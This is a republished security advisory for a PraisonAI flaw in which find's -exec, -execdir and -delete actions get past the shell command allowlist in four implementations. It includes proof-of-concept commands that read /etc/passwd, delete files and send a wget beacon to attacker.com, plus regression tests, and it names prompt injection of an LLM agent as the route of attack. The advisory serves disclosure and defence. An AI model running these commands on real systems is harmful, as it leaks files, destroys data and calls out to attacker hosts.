Alta

PraisonAI: Shell command allowlist bypass via find -exec built-in action

  • Publicada: 08.10.2026
  • Actualizado: 15.10.2026 18:17

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

# Component File Gap
1 TS utility-tools shell() src/praisonai-ts/src/tools/utility-tools.ts:255 find in safeCommands allowlist
2 TS SandboxExecutor src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 find absent from DEFAULT_BLOCKED_COMMANDS
3 Python safe_shell src/praisonai/praisonai/cli/features/safe_shell.py:22-58 find absent from BANNED_COMMANDS, present in SAFE_COMMANDS
4 Python sandbox_executor src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 find absent from blocked_commands

Bypass analysis:

Check find /etc -name passwd -maxdepth 1 -execdir cat {} + Result
Metachar regex `/[; &`><]/` {, }, + are not in regex
Regex /\$\([^)]*\)/ No $(...) PASS
safeCommands.includes('find') find IS in allowlist PASS
SandboxExecutor blocked paths normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) PASS
spawn('find', [...], {shell:false}) find interprets -execdir internally BYPASS

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

Precondition How attacker obtains Default?
Access to shell() or SandboxExecutor Default built-in tool in the npm agent toolkit; reachable via prompt injection Y
find binary on target Standard Unix utility, present on Linux/macOS Y
find in allowlist / absent from blocklist Default configuration in each implementation Y

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

js
const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

js
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

js
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero

4. Python safe_shell

python
from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

  • Blocked file read: -execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)
  • File deletion: -delete destroys files without metacharacters (verified: clean exit 0)
  • Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests:

ts
test('rejects find -exec', async () => {
    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
    expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});

References

  • GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
  • GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
  • Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) praisonai < 4.6.78 4.6.78

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-693, CWE-78
Plataforma
Python (PyPI)
Paquete
praisonai
Publicada
08.10.2026
Actualizado
15.10.2026 18:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-4254 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-cv3g-hj65-pcfh - CC BY 4.0

Historial de vulnerabilidades: praisonai

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (104) en el archivo
Entradas en total
104
Primera → última
04.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 27
  • Alta 60
  • Media 17

Divulgaciones por año

  1. 2026: 104
Gravedad:
  1. PraisonAI: Shell command allowlist bypass via find -exec built-in action esta entrada
    Alta · 8.8 CVE-2026-61434 < 4.6.78 4.6.78
  2. Alta · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
Mostrar más (20) Mostrando 20 de 87

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.